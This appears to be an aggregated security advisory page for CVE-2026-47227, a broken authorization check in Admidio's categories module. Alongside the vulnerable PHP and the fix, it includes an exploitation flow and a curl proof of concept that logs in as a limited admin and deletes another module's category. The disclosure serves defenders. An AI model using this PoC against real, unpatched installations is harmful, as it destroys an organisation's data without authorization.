CVE-2026-47227: Admidio/admidio Admidio Module-administrator Can Delete Or Vulnerability

MODERATE
Advisory Identifier: GHSA-rwjr-qjj3-mq2f
CVSS 6.5
CWE-639 CWE-863
Published
Advisory Summary

CVE-2026-47227 is a MODERATE (CVSS 6.5) admidio module-administrator can delete or vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php`. Remediation is available by upgrading affected packages to version 5.0.10.

CVE-2026-47227 at a Glance

CVE Identifier CVE-2026-47227
GHSA Identifier GHSA-rwjr-qjj3-mq2f
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-47227

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.10
Upgrade admidio/admidio to 5.0.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47227, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, …) corresponds to a module the actor administers. The follow-up "is this specific category editable by me" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the condition is permanently false, so `$category->isEditable()` is never invoked. The `delete`, `sequence`, and `save` switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to *other* modules — for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch. ## Details ### vulnerable code `modules/categories.php:40-61`: ```php $getMode = admFuncVariableIsValid($_GET, 'mode', 'string', array('defaultValue' => 'list', 'validValues' => array('list', 'edit', 'save', 'delete', 'sequence'))); $getType = admFuncVariableIsValid($_GET, 'type', 'string', array('validValues' => array('ANN','AWA','EVT','FOT','LNK','ROL','USF','IVT'))); $getCategoryUUID = admFuncVariableIsValid($_GET, 'uuid', 'uuid'); // check rights of the type if (($getType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements()) || ($getType === 'AWA' && !$gCurrentUser->isAdministratorUsers()) || ($getType === 'EVT' && !$gCurrentUser->isAdministratorEvents()) || ($getType === 'FOT' && !$gCurrentUser->isAdministratorForum()) || ($getType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks()) || ($getType === 'ROL' && !$gCurrentUser->isAdministratorRoles()) || ($getType === 'USF' && !$gCurrentUser->isAdministratorUsers()) || ($getType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) { throw new Exception('SYS_NO_RIGHTS'); } if (in_array($getType, array('edit', 'save', 'delete'))) { // <- DEAD CODE // check if this category is editable by the current user and current organization if (!$category->isEditable()) { throw new Exception('SYS_NO_RIGHTS'); } } ``` The `in_array($getType, array('edit','save','delete'))` test compares the category-type code to mode names. `$getType` can only be `ANN`, `AWA`, `EVT`, `FOT`, `LNK`, `ROL`, `USF`, or `IVT` (it is rejected by `admFuncVariableIsValid` if it is anything else), so the array intersection is permanently empty. The intended check was probably `in_array($getMode, array('edit','save','delete'))`. As written, `$category->isEditable()` is never called from this entry point, and the `$category` symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful. `modules/categories.php:99-110` — the `delete` switch case just loads the category by UUID and deletes it, with no per-record permission check: ```php case 'delete': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $menu = new Category($gDb); $menu->readDataByUuid($getCategoryUUID); $menu->delete(); echo json_encode(array('status' => 'success')); break; ``` `modules/categories.php:112-123` — the `sequence` switch case has the same shape. `Category::delete()` blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does *not* check whether the category's `cat_type` matches a module the actor has rights over. ### exploitation flow 1. Attacker has `Announcements administrator` (or any other single module-admin right) but is **not** a roles / inventory / weblinks administrator. 2. Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting `modules/categories.php?type=<their_type>&mode=list`. 3. Attacker requests `POST /modules/categories.php?mode=delete&type=ANN&uuid=<UUID-of-foreign-category>` carrying their valid `adm_csrf_token`. `type=ANN` satisfies the rights gate at line 47-58 (they are an announcements admin). The dead `if` at line 56 does not fire. The switch falls into `case 'delete':` which deletes the category without re-checking the type. 4. Server replies `{"status":"success"}`. The cross-module category is gone. The same primitive applies to `mode=sequence` (reorder), and to `mode=save` for editing the category's name and description. ## PoC Tested on a fresh install of HEAD `c5cde53` running on PHP 8.4 + MariaDB 11.8 at `http://127.0.0.1:8085`. Reproduces in two requests. `testadmin` is the bootstrap administrator created during install; `annadmin` is a freshly-created user whose only role is `Association's board` with `rol_announcements=1` (no roles / inventory / weblinks rights). ``` # 0. set-up: confirm starting state of the cross-module category $ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \ -e "SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type='ROL' AND cat_name='TEAMS';" cat_id cat_uuid cat_type cat_name 7 846536b9-2582-4845-a5ff-dee06f3212c7 ROL TEAMS # 1. login as annadmin (announcements admin only) and capture session + csrf $ curl -s -c $C -b $C "http://127.0.0.1:8085/index.php?module=auth" > /dev/null $ html=$(curl -s -c $C -b $C "http://127.0.0.1:8085/system/login.php?...") $ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/login.html | head -1 | ...) $ curl -s -c $C -b $C \ --data-urlencode "adm_csrf_token=$csrf" \ --data-urlencode "adm_login_name=annadmin" \ --data-urlencode "adm_password=Annpwd123!" \ "http://127.0.0.1:8085/system/login.php?mode=check" {"status":"success","url":"..."} # 2. as annadmin, GET the categories page once to seed an in-session form key $ html=$(curl -s -b $C "http://127.0.0.1:8085/modules/categories.php?type=ANN&mode=list") $ csrf=$(echo "$html" | grep -oE 'adm_csrf_token[^"]+value="[^"]+' | head -1 | sed 's/.*value="//') # 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=<ROL category> $ curl -s -b $C \ -X POST \ --data-urlencode "adm_csrf_token=$csrf" \ --data-urlencode "direction=" \ "http://127.0.0.1:8085/modules/categories.php?mode=delete&type=ANN&uuid=846536b9-2582-4845-a5ff-dee06f3212c7" {"status":"success"} # 4. verify the row is gone — annadmin had no role-administrator rights $ mariadb ... admidio -e "SELECT * FROM adm_categories WHERE cat_uuid='846536b9-2582-4845-a5ff-dee06f3212c7';" (no rows) ``` The same chain with `mode=sequence&direction=UP` reorders a foreign category. With `mode=save`, an attacker can rename the foreign category and (via the unprotected `cat_type` rebind in `CategoryService::save()` line 210) re-tag it to a different module type, breaking referential consistency. ## Impact Any user with at least one module-administrator right can delete or reorder admin-managed categories of other modules: - Role categories (the structural grouping of all roles in the organisation) - Event calendars (each calendar is a category of type `EVT`) - Profile-field categories (the grouping of which fields are shown on which profile tab) - Weblink categories - Forum categories (`FOT`) - Inventory categories (`IVT`) `Category::delete()` blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the *default* category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit "Default Category" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state. The CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. `PR:L` because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). `I:H` because data is destroyed and there is no in-product undo. `A:N` because the system stays up; only the affected module's metadata is gone. ## Recommended Fix Replace the dead `if (in_array($getType, array('edit', 'save', 'delete')))` block with a real check on `$getMode` plus a per-record `isEditable()` test that re-derives the module from `cat_type`: ```php if (in_array($getMode, array('edit', 'save', 'delete', 'sequence'), true) && $getCategoryUUID !== '') { $category = new Category($gDb); $category->readDataByUuid($getCategoryUUID); if ($category->isNewRecord()) { throw new Exception('SYS_INVALID_PAGE_VIEW'); } // re-check rights against the *record's* cat_type, not the user-supplied type $recordType = $category->getValue('cat_type'); if ( ($recordType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements()) || ($recordType === 'AWA' && !$gCurrentUser->isAdministratorUsers()) || ($recordType === 'EVT' && !$gCurrentUser->isAdministratorEvents()) || ($recordType === 'FOT' && !$gCurrentUser->isAdministratorForum()) || ($recordType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks()) || ($recordType === 'ROL' && !$gCurrentUser->isAdministratorRoles()) || ($recordType === 'USF' && !$gCurrentUser->isAdministratorUsers()) || ($recordType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) { throw new Exception('SYS_NO_RIGHTS'); } if (!$category->isEditable()) { throw new Exception('SYS_NO_RIGHTS'); } } ``` Additionally, `CategoryService::save()` should refuse to mutate `cat_type` when editing an existing record (drop the `$this->categoryRessource->setValue('cat_type', $this->type)` at line 210, or set it only when `isNewRecord()`). A regression test should call `categories.php?mode=delete&type=ANN&uuid=<ROL-category>` as a user with only `isAdministratorAnnouncements()` and assert the response is `SYS_NO_RIGHTS` rather than `success`.

CVE-2026-47227 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.10
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.10
5.0.10

References

Frequently Asked Questions

What is CVE-2026-47227?
CVE-2026-47227 is a security vulnerability in Admidio/admidio involving Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php` under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.10 across affected packages: admidio/admidio.
What version fixes CVE-2026-47227?
Upgrading to 5.0.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.10. Upgrade your dependency to 5.0.10 or later.
What is the CVSS score of CVE-2026-47227?
CVE-2026-47227 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-47227?
CVE-2026-47227 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Packagist dependencies for CVE-2026-47227?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rwjr-qjj3-mq2f",
  "modified" : "2026-05-29T21:57:05Z",
  "published" : "2026-05-29T21:57:05Z",
  "aliases" : [ "CVE-2026-47227" ],
  "summary" : "Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php`",
  "details" : "## Summary\n\n`modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, …) corresponds to a module the actor administers. The follow-up \"is this specific category editable by me\" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the condition is permanently false, so `$category->isEditable()` is never invoked. The `delete`, `sequence`, and `save` switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to *other* modules — for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch.\n\n## Details\n\n### vulnerable code\n\n`modules/categories.php:40-61`:\n\n```php\n$getMode         = admFuncVariableIsValid($_GET, 'mode', 'string',\n                                          array('defaultValue' => 'list',\n                                                'validValues'  => array('list', 'edit', 'save', 'delete', 'sequence')));\n$getType         = admFuncVariableIsValid($_GET, 'type', 'string',\n                                          array('validValues' => array('ANN','AWA','EVT','FOT','LNK','ROL','USF','IVT')));\n$getCategoryUUID = admFuncVariableIsValid($_GET, 'uuid', 'uuid');\n\n// check rights of the type\nif (($getType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements())\n    || ($getType === 'AWA' && !$gCurrentUser->isAdministratorUsers())\n    || ($getType === 'EVT' && !$gCurrentUser->isAdministratorEvents())\n    || ($getType === 'FOT' && !$gCurrentUser->isAdministratorForum())\n    || ($getType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks())\n    || ($getType === 'ROL' && !$gCurrentUser->isAdministratorRoles())\n    || ($getType === 'USF' && !$gCurrentUser->isAdministratorUsers())\n    || ($getType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) {\n    throw new Exception('SYS_NO_RIGHTS');\n}\n\nif (in_array($getType, array('edit', 'save', 'delete'))) {           // <- DEAD CODE\n    // check if this category is editable by the current user and current organization\n    if (!$category->isEditable()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n}\n```\n\nThe `in_array($getType, array('edit','save','delete'))` test compares the category-type code to mode names. `$getType` can only be `ANN`, `AWA`, `EVT`, `FOT`, `LNK`, `ROL`, `USF`, or `IVT` (it is rejected by `admFuncVariableIsValid` if it is anything else), so the array intersection is permanently empty. The intended check was probably `in_array($getMode, array('edit','save','delete'))`. As written, `$category->isEditable()` is never called from this entry point, and the `$category` symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful.\n\n`modules/categories.php:99-110` — the `delete` switch case just loads the category by UUID and deletes it, with no per-record permission check:\n\n```php\ncase 'delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $menu = new Category($gDb);\n    $menu->readDataByUuid($getCategoryUUID);\n    $menu->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\n`modules/categories.php:112-123` — the `sequence` switch case has the same shape.\n\n`Category::delete()` blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does *not* check whether the category's `cat_type` matches a module the actor has rights over.\n\n### exploitation flow\n\n1. Attacker has `Announcements administrator` (or any other single module-admin right) but is **not** a roles / inventory / weblinks administrator.\n2. Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting `modules/categories.php?type=<their_type>&mode=list`.\n3. Attacker requests `POST /modules/categories.php?mode=delete&type=ANN&uuid=<UUID-of-foreign-category>` carrying their valid `adm_csrf_token`. `type=ANN` satisfies the rights gate at line 47-58 (they are an announcements admin). The dead `if` at line 56 does not fire. The switch falls into `case 'delete':` which deletes the category without re-checking the type.\n4. Server replies `{\"status\":\"success\"}`. The cross-module category is gone.\n\nThe same primitive applies to `mode=sequence` (reorder), and to `mode=save` for editing the category's name and description.\n\n## PoC\n\nTested on a fresh install of HEAD `c5cde53` running on PHP 8.4 + MariaDB 11.8 at `http://127.0.0.1:8085`. Reproduces in two requests. `testadmin` is the bootstrap administrator created during install; `annadmin` is a freshly-created user whose only role is `Association's board` with `rol_announcements=1` (no roles / inventory / weblinks rights).\n\n```\n# 0. set-up: confirm starting state of the cross-module category\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \\\n    -e \"SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type='ROL' AND cat_name='TEAMS';\"\ncat_id  cat_uuid                              cat_type  cat_name\n7       846536b9-2582-4845-a5ff-dee06f3212c7  ROL       TEAMS\n\n# 1. login as annadmin (announcements admin only) and capture session + csrf\n$ curl -s -c $C -b $C \"http://127.0.0.1:8085/index.php?module=auth\" > /dev/null\n$ html=$(curl -s -c $C -b $C \"http://127.0.0.1:8085/system/login.php?...\")\n$ csrf=$(grep -oE 'adm_csrf_token[^\"]+value=\"[^\"]+' /tmp/login.html | head -1 | ...)\n$ curl -s -c $C -b $C \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"adm_login_name=annadmin\" \\\n    --data-urlencode \"adm_password=Annpwd123!\" \\\n    \"http://127.0.0.1:8085/system/login.php?mode=check\"\n{\"status\":\"success\",\"url\":\"...\"}\n\n# 2. as annadmin, GET the categories page once to seed an in-session form key\n$ html=$(curl -s -b $C \"http://127.0.0.1:8085/modules/categories.php?type=ANN&mode=list\")\n$ csrf=$(echo \"$html\" | grep -oE 'adm_csrf_token[^\"]+value=\"[^\"]+' | head -1 | sed 's/.*value=\"//')\n\n# 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=<ROL category>\n$ curl -s -b $C \\\n    -X POST \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"direction=\" \\\n    \"http://127.0.0.1:8085/modules/categories.php?mode=delete&type=ANN&uuid=846536b9-2582-4845-a5ff-dee06f3212c7\"\n{\"status\":\"success\"}\n\n# 4. verify the row is gone — annadmin had no role-administrator rights\n$ mariadb ... admidio -e \"SELECT * FROM adm_categories WHERE cat_uuid='846536b9-2582-4845-a5ff-dee06f3212c7';\"\n(no rows)\n```\n\nThe same chain with `mode=sequence&direction=UP` reorders a foreign category. With `mode=save`, an attacker can rename the foreign category and (via the unprotected `cat_type` rebind in `CategoryService::save()` line 210) re-tag it to a different module type, breaking referential consistency.\n\n## Impact\n\nAny user with at least one module-administrator right can delete or reorder admin-managed categories of other modules:\n\n- Role categories (the structural grouping of all roles in the organisation)\n- Event calendars (each calendar is a category of type `EVT`)\n- Profile-field categories (the grouping of which fields are shown on which profile tab)\n- Weblink categories\n- Forum categories (`FOT`)\n- Inventory categories (`IVT`)\n\n`Category::delete()` blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the *default* category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit \"Default Category\" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state.\n\nThe CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. `PR:L` because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). `I:H` because data is destroyed and there is no in-product undo. `A:N` because the system stays up; only the affected module's metadata is gone.\n\n## Recommended Fix\n\nReplace the dead `if (in_array($getType, array('edit', 'save', 'delete')))` block with a real check on `$getMode` plus a per-record `isEditable()` test that re-derives the module from `cat_type`:\n\n```php\nif (in_array($getMode, array('edit', 'save', 'delete', 'sequence'), true) && $getCategoryUUID !== '') {\n    $category = new Category($gDb);\n    $category->readDataByUuid($getCategoryUUID);\n\n    if ($category->isNewRecord()) {\n        throw new Exception('SYS_INVALID_PAGE_VIEW');\n    }\n\n    // re-check rights against the *record's* cat_type, not the user-supplied type\n    $recordType = $category->getValue('cat_type');\n    if (   ($recordType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements())\n        || ($recordType === 'AWA' && !$gCurrentUser->isAdministratorUsers())\n        || ($recordType === 'EVT' && !$gCurrentUser->isAdministratorEvents())\n        || ($recordType === 'FOT' && !$gCurrentUser->isAdministratorForum())\n        || ($recordType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks())\n        || ($recordType === 'ROL' && !$gCurrentUser->isAdministratorRoles())\n        || ($recordType === 'USF' && !$gCurrentUser->isAdministratorUsers())\n        || ($recordType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    if (!$category->isEditable()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n}\n```\n\nAdditionally, `CategoryService::save()` should refuse to mutate `cat_type` when editing an existing record (drop the `$this->categoryRessource->setValue('cat_type', $this->type)` at line 210, or set it only when `isNewRecord()`).\n\nA regression test should call `categories.php?mode=delete&type=ANN&uuid=<ROL-category>` as a user with only `isAdministratorAnnouncements()` and assert the response is `SYS_NO_RIGHTS` rather than `success`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-rwjr-qjj3-mq2f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T21:57:05Z",
    "nvd_published_at" : null
  }
}